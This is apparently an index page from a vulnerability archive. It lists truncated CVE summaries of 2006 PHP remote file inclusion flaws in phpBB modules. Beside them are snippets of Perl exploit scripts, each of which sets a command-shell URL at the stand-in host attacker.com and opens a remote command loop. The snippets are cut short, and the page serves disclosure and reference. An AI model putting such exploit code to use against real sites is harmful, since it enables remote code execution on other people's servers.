CVE-2006-5390

CVE-2006-5390 describes a PHP remote file inclusion vulnerability in the ACP User Registration (MMW) 1.00 module for phpBB. The flaw arises from insufficient sanitization of the phpbb_root_path parameter in includes/functions_mod_user.php, allowing an attacker to supply a URL and execute arbitrar...

CVE-2006-5385

PHP remote file inclusion vulnerability in admin/adminspam.php in the SpamOborona 1.0b and earlier phpBB module allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...

CVE-2006-5387

The CVE-2006-5387 entry describes a PHP remote file inclusion flaw in the PlusXL 20_272 and earlier phpBB module, specifically in mods/iai/includes/constants.php, allowing an attacker to execute arbitrary PHP code by supplying a URL to the phpbb_root_path parameter. The vulnerability relies on a ...

phpbbarchive-rfi.txt

!/usr/bin/perl pbpbb archive for search engines Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://mambopower.net/ http://www.mambopower.net/downloads/phpbbsearchindexer.zip use IO::Socket; use LWP::Simple;...

phpbbrpg-rfi.txt

!/usr/bin/perl PHPBB RPG Events 1.0.0 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://mods.best-dev.com/old/files/rpgevents-part2.zip use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd !...

amazonia-rfi.txt

!/usr/bin/perl AMAZONIA MOD for phpbb forums Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://www.superphotos.info/AmazoniaMod.htm use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd ! "END"...

phpbblat2cyr-rfi.txt

!/usr/bin/perl phpBB lat2cyr 1.0.1 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://www.phpbbhacks.com/download/4808 use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd ! "END" $socket =...

phpbbsecurity-rfi.txt

!/usr/bin/perl phpBB Security 1.0.1 Class: Remote File Include Vulnerability Date: 2006/10/12 Remote: Yes Type: high Site: http://www.phpbb-amod.com/downloads/phpBBSecurity.zip use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd ! "END" $socket =...

phpbbaddname-rfi.txt

!/usr/bin/perl phpBB Add Name Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://web.dhjh.tcc.edu.tw/gzqbyr/phpdocs/phpBB/addname.zip/ use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd ! "EN...

mauinfo-rfi.txt

!/usr/bin/perl maluinfo 206.2.38 brazilian PHPBB Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://codigolivre.org.br/frs/download.php/1534/maluinfo-206.2.38releasenewinstall.zip use IO::Socket; use LWP::Simple;...

phpbbplusxl-rfi.txt

!/usr/bin/perl phpBB PlusXL 2.X biuld 272 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://www.xs4all.nl/hkicken/plusxl.htm use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd ! "END" $socke...

CVE-2006-5390: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in includes/functionsmoduser.php in the ACP User Registration MMW 1.00 module for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...

CVE-2006-5387: Undefined Security Weakness

PHP remote file inclusion vulnerability in mods/iai/includes/constants.php in the PlusXL 20272 and earlier phpBB module allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...

CVE-2006-5385: Undefined Security Weakness

PHP remote file inclusion vulnerability in admin/adminspam.php in the SpamOborona 1.0b and earlier phpBB module allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...

CVE-2006-5325

Multiple PHP remote file inclusion vulnerabilities in Dimitri Seitz Security Suite IP Logger in dwingmods for phpBB allow remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter in 1 mkb.php, 2 iplogger.php, 3 adminboard2.php, or 4 adminlogger.php in includes/,...

CVE-2006-5326

PHP remote file inclusion vulnerability in language/lang/langcontactfaq.php in the Prillian French 0.8.0 and earlier module for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter. NOTE: the provenance of this information is unknown; the details ar...

CVE-2006-5325

CVE-2006-5325 refers to multiple PHP remote file inclusion vulnerabilities in Dimitri Seitz Security Suite IP Logger for phpBB (dwingmods). The vulnerability affects the includes/ scripts (mkb.php, iplogger.php, admin_board2.php, admin_logger.php) via a URL in the phpbb_root_path parameter, enabl...

CVE-2006-5326

CVE-2006-5326 describes a PHP remote file inclusion vulnerability in the Prillian French 0.8.0 and earlier module for phpBB, specifically in language/lang/lang_contact_faq.php. The underlying issue allows an attacker to execute arbitrary PHP code by supplying a URL in the phpbb_root_path paramete...

CVE-2006-5309

PHP remote file inclusion vulnerability in language/langfrench/langprillianfaq.php in the Prillian French 0.8.0 and earlier module for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...

CVE-2006-5312

PHP remote file inclusion vulnerability in shoutbox.php in the Ajax Shoutbox 0.0.5 and earlier module for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...